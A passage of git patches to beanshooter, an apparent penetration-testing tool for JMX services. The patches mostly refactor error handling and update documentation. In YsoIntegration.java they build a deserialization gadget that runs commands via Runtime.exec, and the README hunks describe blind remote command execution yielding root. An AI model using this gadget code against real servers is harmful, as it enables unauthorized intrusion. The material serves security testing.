Utils.exit(e); } } @@ -462,7 +476,7 @@ else if (message.contains("InvalidAttributeValueException")) Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute."); Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible."); Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually."); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java index 8d10bb3..70e8194 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java @@ -91,12 +91,14 @@ private static void loadPlugin(String pluginPath) JarInputStream jarStream = null; File pluginFile = new File(pluginPath); - if(!pluginFile.exists()) { + if (!pluginFile.exists()) + { Logger.eprintlnMixedYellow("Specified plugin path", pluginPath, "does not exist."); Utils.exit(); } - try { + try + { jarStream = new JarInputStream(new FileInputStream(pluginFile)); Manifest mf = jarStream.getManifest(); pluginClassName = mf.getMainAttributes().getValue(manifestAttribute); @@ -105,50 +107,67 @@ private static void loadPlugin(String pluginPath) if(pluginClassName == null) throw new MalformedPluginException(); - } catch(Exception e) { + } + + catch(Exception e) + { Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while reading the Manifest of the specified plugin."); Logger.eprintlnMixedBlue("Plugins need to be valid JAR files that contain the", manifestAttribute, "attribute."); - Utils.exit(); + Utils.exit(e); } - try { + try + { URLClassLoader ucl = new URLClassLoader(new URL[] {pluginFile.toURI().toURL()}); Class pluginClass = Class.forName(pluginClassName, true, ucl); pluginInstance = pluginClass.newInstance(); + } - } catch(Exception e) { + catch (Exception e) + { Logger.eprintMixedYellow("Caught", e.getClass().getName(), "while reading plugin file "); Logger.printlnPlainBlue(pluginPath); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } - if(pluginInstance instanceof IMBeanServerProvider) { + if (pluginInstance instanceof IMBeanServerProvider) + { mBeanServerProvider = (IMBeanServerProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof ISocketFactoryProvider) { + if (pluginInstance instanceof ISocketFactoryProvider) + { socketFactoryProvider = (ISocketFactoryProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IPayloadProvider) { + if (pluginInstance instanceof IPayloadProvider) + { payloadProvider = (IPayloadProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IArgumentProvider) { + if (pluginInstance instanceof IArgumentProvider) + { argumentProvider = (IArgumentProvider)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IResponseHandler) { + if (pluginInstance instanceof IResponseHandler) + { responseHandler = (IResponseHandler)pluginInstance; inUse = true; + } - } if(pluginInstance instanceof IAuthenticationProvider) { + if (pluginInstance instanceof IAuthenticationProvider) + { authenticationProvider = (IAuthenticationProvider)pluginInstance; inUse = true; } - if(!inUse) { + if (!inUse) + { Logger.eprintMixedBlue("Plugin", pluginPath, "was successfully loaded, but is "); Logger.eprintlnPlainYellow("not in use."); Logger.eprintln("Plugins should implement at least one of the available plugin interfaces."); diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java index c6431ed..0fa44d9 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java @@ -43,14 +43,14 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port)); - if( BeanshooterOption.CONN_SSL.getBool() ) + if (BeanshooterOption.CONN_SSL.getBool()) { env.put("jmx.remote.tls.socket.factory", PluginSystem.getSSLSocketFactory(host, port)); env.put("jmx.remote.profiles", "TLS"); } SASLMechanism saslMechanism = ArgumentHandler.getSASLMechanism(); - if( saslMechanism != null ) + if (saslMechanism != null) { if (!env.containsKey(JMXConnector.CREDENTIALS) && ArgumentHandler.getInstance().getAction() != BeanshooterOperation.BRUTE) ArgumentHandler.requireAllOf(BeanshooterOption.CONN_USER, BeanshooterOption.CONN_PASS); @@ -91,8 +91,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map throw new SaslSuperflousException(e, true); Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch( java.lang.SecurityException e ) diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java index a32fff9..00e9f88 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java @@ -40,34 +40,41 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port)); - if( BeanshooterOption.CONN_SSL.getBool() ) + if (BeanshooterOption.CONN_SSL.getBool()) env.put("com.sun.jndi.rmi.factory.socket", new SslRMIClientSocketFactory()); - try { + try + { RMISocketFactory.setSocketFactory(PluginSystem.getDefaultRMISocketFactory(host, port)); + } - } catch (IOException e) { + catch (IOException e) + { Logger.eprintlnMixedBlue("Unable to set custom", "RMISocketFactory.", "Host redirection will probably not work."); ExceptionHandler.showStackTrace(e); Logger.eprintln(""); } - try { + try + { JMXServiceURL jmxUrl = new JMXServiceURL(String.format(connString, host, port)); JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env); mBeanServerConnection = jmxConnector.getMBeanServerConnection(); + } - } catch (MalformedURLException e) { + catch (MalformedURLException e) + { ExceptionHandler.internalError("DefaultMBeanServerProvider.getMBeanServerConnection", "Invalid URL."); + Utils.exit(e); + } - } catch (IOException e) { + catch (IOException e) + { Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } return mBeanServerConnection; } - } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java index e31aa2e..97f430a 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java @@ -85,9 +85,7 @@ else if (t instanceof ParseException) { Logger.eprintlnMixedYellow("Caught", "ParseException", "while parsing the server response."); Logger.eprintlnMixedBlue("The specified target is", "probably not", "a Jolokia endpoint."); - - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } ExceptionHandler.unexpectedException(e, "while connecting", "to the jolokia endpoint", true); @@ -130,6 +128,7 @@ else if (t instanceof CertPathValidatorException) else if (t instanceof java.io.EOFException || t instanceof java.net.SocketException) { Logger.eprintln("The JMX server closed the connection. This usually indicates a networking problem."); + ExceptionHandler.showStackTrace(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java index 1f0a215..a833459 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java @@ -54,7 +54,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map RMIConnector rmiConnector = null; MBeanServerConnection connection = null; - if( BeanshooterOption.TARGET_OBJID_CONNECTION.notNull() ) + if (BeanshooterOption.TARGET_OBJID_CONNECTION.notNull()) { ObjID objID = Utils.parseObjID(BeanshooterOption.TARGET_OBJID_CONNECTION.getValue()); RMIConnection conn = getRMIConnectionByObjID(regEndpoint, objID); @@ -139,9 +139,7 @@ else if (t instanceof CertPathValidatorException) { Logger.eprintlnMixedBlue("The server probably uses TLS settings that are", "incompatible", "with your current security settings."); Logger.eprintlnMixedYellow("You may try to edit your", "java.security", "policy file to overcome the issue."); - - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } else @@ -149,8 +147,7 @@ else if (t instanceof CertPathValidatorException) ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (SecurityException e) @@ -234,16 +231,21 @@ private RMIServer getRMIServerByLookup(RMIRegistryEndpoint regEndpoint, String b { RMIServer returnValue = null; - try { + try + { returnValue = (RMIServer)regEndpoint.lookup(boundName); + } - } catch (ClassNotFoundException e) { + catch (ClassNotFoundException e) + { ExceptionHandler.lookupClassNotFoundException(e, e.getMessage()); + } - } catch( ClassCastException e) { + catch (ClassCastException e) + { Logger.printlnMixedYellow("Unable to cast remote object to", "RMIServer", "class."); Logger.printlnMixedBlue("You probbably specified a bound name that does not implement the", "RMIServer", "interface."); - Utils.exit(); + Utils.exit(e); } return returnValue; diff --git a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java index c53b029..b970ee7 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java @@ -19,7 +19,6 @@ import org.jolokia.client.J4pClientBuilder; import org.jolokia.client.jmxadapter.JolokiaJmxConnector; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.operation.BeanshooterOption; @@ -89,8 +88,7 @@ public boolean isTrusted(X509Certificate[] chain, String authType) throws Certif catch (KeyManagementException | NoSuchAlgorithmException | KeyStoreException e) { Logger.printlnMixedYellow("Caught unexpected", e.getClass().getName(), "while setting the SSL context for Jolokia."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } if (mergedEnv.containsKey(CREDENTIALS)) diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index 376028b..d014ac1 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -76,6 +76,18 @@ public static void exit() System.exit(1); } + /** + * Just a wrapper around System.exit(1) that prints an information before quitting. + * Also a stacktrace is printed if --stack-trace was used. + */ + public static void exit(Exception e) + { + ExceptionHandler.showStackTrace(e); + + Logger.eprintln("Cannot continue from here."); + System.exit(1); + } + /** * Just a wrapper around System.exit(1) that prints an information before quitting. This * version is invoked with a boolean that decides whether the exit should be performed. @@ -758,7 +770,7 @@ else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull()) { Logger.printlnMixedYellow("Caught unexpected", "FileNotFoundException", "while preparing method signatures."); Logger.printlnMixedBlue("The specified input file", BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), "seems not to exist."); - Utils.exit(); + Utils.exit(e); } catch (IOException e) diff --git a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java index 646cad5..b673c92 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java @@ -105,8 +105,7 @@ public static Object getPayloadObject(String gadget, String command) Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); Logger.eprintlnPlainBlue("invalid gadget argument."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } Logger.printlnPlain(" done."); @@ -163,7 +162,7 @@ private static Object getTonkaTemplateGadget() catch (IOException e) { Logger.printlnMixedYellow("Caught unexpected", "IOException", "while reading " + MBean.TONKA.getJarName() + "."); - Utils.exit(); + Utils.exit(e); } base64 = new String(Base64.getEncoder().encode(content)); @@ -201,12 +200,12 @@ private static Object getTonkaTemplateGadget() private static Object getUploadTemplateGadget(String command) { String base64 = null; - String[] split = command.split(":"); + String[] split = command.split("::"); if (split.length != 2) { Logger.eprintlnMixedYellow("Invalid upload parameter:", command); - Logger.eprintlnMixedBlue("The expected format is:", ":"); + Logger.eprintlnMixedBlue("The expected format is:", "::"); Utils.exit(); } @@ -237,9 +236,16 @@ private static Object getUploadTemplateGadget(String command) */ private static Object getCommandTemplateGadget(String command) { - String java = "java.lang.Runtime.getRuntime().exec(\"" + - command.replace("\\", "\\\\").replace("\"", "\\\"") + - "\");"; + String escCommand = command.replace("\\", "\\\\").replace("\"", "\\\""); + String java = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", escCommand); + + if (BeanshooterOption.STANDARD_EXEC_ARRAY.getBool()) + { + String[] cmd = escCommand.split(" ", 3); + java = String.format("java.lang.Runtime.getRuntime().exec(" + + "new String[] { \"%s\", \"%s\", \"%s\" } );", + cmd[0], cmd[1], cmd[2]); + } return templateGadgetFromJava(java); } @@ -279,8 +285,7 @@ private static Object templateGadgetFromJava(String java) catch (NotFoundException | CannotCompileException | IOException e) { Logger.printlnMixedYellow("Caught", e.getClass().getName(), "during dynamic class generation."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } return createTemplateGadget(payloadBytes, dummyBytes); @@ -302,8 +307,8 @@ private static Object templateGadgetFromJava(String java) private static Object createTemplateGadget(byte[] payloadBytes, byte[] dummyBytes) { final TemplatesImpl template = new TemplatesImpl(); - Field bytecodeField; + try { bytecodeField = template.getClass().getDeclaredField("_bytecodes"); @@ -322,8 +327,7 @@ private static Object createTemplateGadget(byte[] payloadBytes, byte[] dummyByte catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException | InstantiationException e) { Logger.printlnMixedYellow("Caught", e.getClass().getName(), "while creating TemplatesIml object."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } return template; From e94fd1be75859d565760054fe7a492b2fc134ab1 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 10:00:21 +0100 Subject: [PATCH 12/25] Update completion script Update the completion script to include the standard and model actions. --- resources/bash_completion.d/beanshooter | 33 ++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/resources/bash_completion.d/beanshooter b/resources/bash_completion.d/beanshooter index 587ccbd..15735da 100644 --- a/resources/bash_completion.d/beanshooter +++ b/resources/bash_completion.d/beanshooter @@ -34,6 +34,7 @@ function _beanshooter() _init_completion || return file_like="--jar-file --config --plugin --export-dir --export-mlet --export-jar --username-file --password-file --yso --output-file" + file_like="$file_like --signature-file" unguessable="--class-name --object-name --bound-name --objid-server --objid-connection --username --password --stager-port --threads" unguessable="$unguessable --class-filter --obj-filter --cwd --env --signature --shell --jolokia-proxy --jolokia-proxy-user" unguessable="$unguessable --jolokia-proxy-password --jolokia-endpoint --lookup" @@ -49,7 +50,7 @@ function _beanshooter() gadgets="$gadgets JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2" gadgets="$gadgets Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1" - operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia" + operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia model standard" sasl_mechanisms="plain digest cram gssapi ntlm" general_opts="--help --config --verbose --plugin --no-color --stack-trace" conn_opts="--follow --ssl --jmxmp --sasl --jolokia --jolokia-proxy --jolokia-proxy-user --jolokia-proxy-password --jolokia-endpoint" @@ -121,6 +122,36 @@ function _beanshooter() opts="$opts $auth_opts" opts="$opts $general_opts" + elif [[ ${words[1]} == "model" ]] && _comp_beanoption 7; then + opts="--all-methods" + opts="$opts --signature" + opts="$opts --signature-file" + opts="$opts $auth_opts" + opts="$opts $common_three" + + elif [[ ${words[1]} == "standard" ]]; then + + if [[ $cur == -* ]] || [[ $args -ge 6 ]] || [[ $args -ge 5 && ${words[4]} == "tonka" ]]; then + + opts="$auth_opts" + opts="$opts $common_three" + + if [[ ${words[4]} == "exec" ]]; then + opts="$opts --exec-array" + fi + + elif [[ $args -eq 4 ]]; then + opts="exec tonka upload" + + elif [[ $args -eq 5 ]] && [[ $prev == "upload" ]]; then + compopt -o nospace + _filedir + return + + else + return 0 + fi + elif [[ ${words[1]} == "deploy" ]] && _comp_beanoption 6; then opts="$auth_opts" opts="$opts --jar-file" From 536b087facdab18df001c7494e00d8a362e0c76a Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 10:35:02 +0100 Subject: [PATCH 13/25] Update jolokia documentation Add compatibility information about the standard and model operations. --- docs/jolokia.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/jolokia.md b/docs/jolokia.md index 3625122..40134c8 100644 --- a/docs/jolokia.md +++ b/docs/jolokia.md @@ -50,8 +50,8 @@ arbitrary *Java* objects are therefore not possible. > **Q:** What *beanshooter* operations are supported for *Jolokia* endpoints? **A**: All operations that do not require the creation or removal of *MBeans* or the transport of complex *Java* types. -In essence, this means that the `deploy`, `undeploy` and `serial` actions are not supported. All other operations are -supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions. +In essence, this means that the `deploy`, `undeploy`, `model`, `standard` and `serial` actions are not supported. All +other operations are supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions. > **Q:** Can I use the *TonkaBean* via *Jolokia*? From e2e28a712d68cc8ac5a6e9f2dafb28fa93544264 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 10:36:12 +0100 Subject: [PATCH 14/25] Add additional opens for Java16+ compatibility Test cases revealed that for Java16+ compatibility some opens were missing. --- beanshooter/pom.xml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml index 93b28d7..bbd8d66 100644 --- a/beanshooter/pom.xml +++ b/beanshooter/pom.xml @@ -98,12 +98,16 @@ + java.base/java.lang + java.base/java.util java.base/java.lang.reflect java.base/jdk.internal.misc java.rmi/java.rmi.server java.rmi/sun.rmi.server java.rmi/sun.rmi.transport java.rmi/sun.rmi.transport.tcp + java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime + java.xml/com.sun.org.apache.xalan.internal.xsltc.trax From 28c507de50eae65b4b91283ee92cad6baed8c21a Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 10:37:31 +0100 Subject: [PATCH 15/25] Fix small formatting bug --- .../src/de/qtc/beanshooter/exceptions/ExceptionHandler.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java index cbde7a1..074f4ec 100644 --- a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java @@ -65,7 +65,7 @@ public static void internalError(String functionName, String message) public static void internalException(Exception e, String functionName, boolean exit) { Logger.eprintMixedYellow("Internal error. Caught unexpected", e.getClass().getName(), "within the "); - Logger.printlnPlainMixedBlue(functionName, "function."); + Logger.eprintlnPlainMixedBlue(functionName, "function."); stackTrace(e); if(exit) From 1058b52212285d84ecef219101fdd9a157939b54 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 10:45:50 +0100 Subject: [PATCH 16/25] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 3864cd1..4c53b14 100644 --- a/README.md +++ b/README.md @@ -871,6 +871,9 @@ a builtin jar file is available): [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed ``` +From *beanshooter v4.1.0* on, it is also possible to deploy the *TonkaBean* via the [standard](#standard) action. +Bean deployment via the `standard` action **does not** require outbound network connections from the target server. + #### Generic Export Sometimes it is not possible to serve an *MBean* implementation using *beanshooters* stager server. A common From 029af763cce481699f03e756243ac8d175125ac5 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 21:59:39 +0100 Subject: [PATCH 17/25] Catch timeout exception during MLet operation When deploying MBeans via MLet and the connection timed out, the corresponding exception was not caught. This was now corrected. --- beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java index e77e7e0..35bb8a5 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java @@ -174,6 +174,9 @@ else if (t instanceof java.net.ConnectException) if (t.getMessage().contains("Connection refused")) Logger.eprintlnMixedBlue("Target", urlString, "refused the connection."); + else if (t.getMessage().contains("Operation timed out")) + Logger.eprintlnMixedBlue("Outbound connections seem to be", "blocked", "by the target."); + else ExceptionHandler.unknownReason(e); } From 3f569a1b254abd25739745ed10633e96003bf7a3 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 Mar 2023 22:01:59 +0100 Subject: [PATCH 18/25] Small formatting change --- beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java | 2 +- tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java index b5c1092..8ac1c5b 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java @@ -78,7 +78,7 @@ public void start(URL url, String jarFile, String beanClass, String objectName) server.setExecutor(null); - Logger.printlnYellow("Starting HTTP server."); + Logger.printlnYellow("Waiting for incoming connections..."); Logger.println(""); server.start(); diff --git a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml index e33c7c9..e5b7c9b 100644 --- a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml +++ b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml @@ -42,7 +42,7 @@ tests: values: - 'MBean class is not known by the server' - 'Creating MLetHandler for endpoint: /' - - 'Starting HTTP server.' + - 'Waiting for incoming connections' - 'Incoming request from: ' - 'de.qtc.beanshooter.tonkabean.TonkaBean' - 'MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed' From 32cf48f8ab0f880bdae39c1d1171246bb733ff30 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 09:20:58 +0100 Subject: [PATCH 19/25] Add java.xml to jmx-example-server The standard action of beanshooter relies on the presence of the java.xml module. To making tetsting more easily, it was added to the container. --- docker/jmx-example-server/Dockerfile | 4 ++-- docker/jmx-example-server/docker-compose.yml | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docker/jmx-example-server/Dockerfile b/docker/jmx-example-server/Dockerfile index 5e2c6e1..0ab4d52 100644 --- a/docker/jmx-example-server/Dockerfile +++ b/docker/jmx-example-server/Dockerfile @@ -12,8 +12,8 @@ RUN mvn clean package FROM alpine:latest AS jdk-builder RUN set -ex \ && apk add --no-cache openjdk11 \ - && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi --verbose --strip-debug --compress 2 \ - --no-header-files --no-man-pages --output /jdk + && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi,java.xml \ + --verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk ########################################### ### Container Stage ### diff --git a/docker/jmx-example-server/docker-compose.yml b/docker/jmx-example-server/docker-compose.yml index 3d6976b..8aab817 100644 --- a/docker/jmx-example-server/docker-compose.yml +++ b/docker/jmx-example-server/docker-compose.yml @@ -2,7 +2,7 @@ version: '3.7' services: beanshooter: - image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.0 + image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.1 build: . #environment: # - > From c412e72a3ef1126a3b56d2c9cb23febddee579d0 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 09:23:02 +0100 Subject: [PATCH 20/25] Add a CHANGELOG for jmx-example-server --- docker/jmx-example-server/CHANGELOG.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 docker/jmx-example-server/CHANGELOG.md diff --git a/docker/jmx-example-server/CHANGELOG.md b/docker/jmx-example-server/CHANGELOG.md new file mode 100644 index 0000000..6c5cb9a --- /dev/null +++ b/docker/jmx-example-server/CHANGELOG.md @@ -0,0 +1,14 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [2.1] - Mar 20, 2023 + +### Added + +* Add `java.xml` module +* Add `CHANGELOG.md` From c52ee997449c31a629850e4e8d3e44c911f311ef Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 09:25:21 +0100 Subject: [PATCH 21/25] Update CHANGELOG.md --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8f744e3..32ea51b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,11 +6,12 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [4.1.0] - Mar XX, 2023 +## [4.1.0] - Mar 20, 2023 ### Added * Add [model](/#model) action (see CODE WHITE [blog post](TODO)) +* Add [standard](/#standard) action (see CODE WHITE [blog post](TODO)) ### Changed From 1a70a7ed19f440efb7ddb9063ee6b48496a26365 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 09:39:57 +0100 Subject: [PATCH 22/25] Update README.md --- README.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 4c53b14..51360a0 100644 --- a/README.md +++ b/README.md @@ -570,7 +570,8 @@ sun.io.unicode.encoding The `model` action uses reflection to determine available methods on the specified class. If you do not have the class locally available, you can still use it by specifying available methods via the `--signature` or `--signature-file` options. That being said, in order to get access to non default classes you need to -provide an object instance that is also not a default class (not present in `rt.jar`). For *beanshooters* +provide an object instance that is also not a default class (not present in `rt.jar`). This is required, as +the target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters* *example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`: @@ -593,7 +594,7 @@ EMPTY OUTPUT - Just an Indent ;) ``` If you want to know more about the technique that is implemented by the `model` action, I highly -recommend [this blog post](TODO) by [CODE WHITE](https://www.code-white.com/en/) which explains it +recommend [this blog post](TODO) by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. @@ -698,10 +699,11 @@ uid=0(root) gid=0(root) groups=0(root) ``` Command execution via the `standard` action is blind and you do not receive the output of your command. -Moreover, by default you command is passed to `Runtime.exec(String str)`, which does not support special -shell characters. If you want to use shell features, use the `--exec-array` option and specify your command -like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. However, it is generally more recommended to -use the *TonkaBean* deployment for execution commands: +Moreover, by default your command is passed to `Runtime.exec(String str)`, which does not support special +shell features. If you want to use shell features, use the `--exec-array` option and specify your command +like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. With `--exec-array`, *beanshooter* splits the +specified command in three parts and passes them to `Runtime.exec(String[] arr)`. However, it is generally +recommended to use the *TonkaBean* deployment for executing commands: ```console [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka @@ -721,7 +723,7 @@ uid=0(root) gid=0(root) groups=0(root) ``` The huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean* -does not require an outbound network connection. If a direct deployment via *StandardMBean* does not work, +does not require an outbound network connection. If a direct deployment via `standard ... tonka` does not work, you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol: ```console @@ -771,7 +773,7 @@ you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and th ``` If you want to know more about the technique that is implemented by the `standard` action, I highly -recommend [this blog post](TODO) by [CODE WHITE](https://www.code-white.com/en/) which explains it +recommend [this blog post](TODO) by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. #### Undeploy From 6c7f1bc0ec99c9fd7e5f944defef2a69d40f7b9c Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 11:18:31 +0100 Subject: [PATCH 23/25] Update README.md --- CHANGELOG.md | 4 ++-- README.md | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md 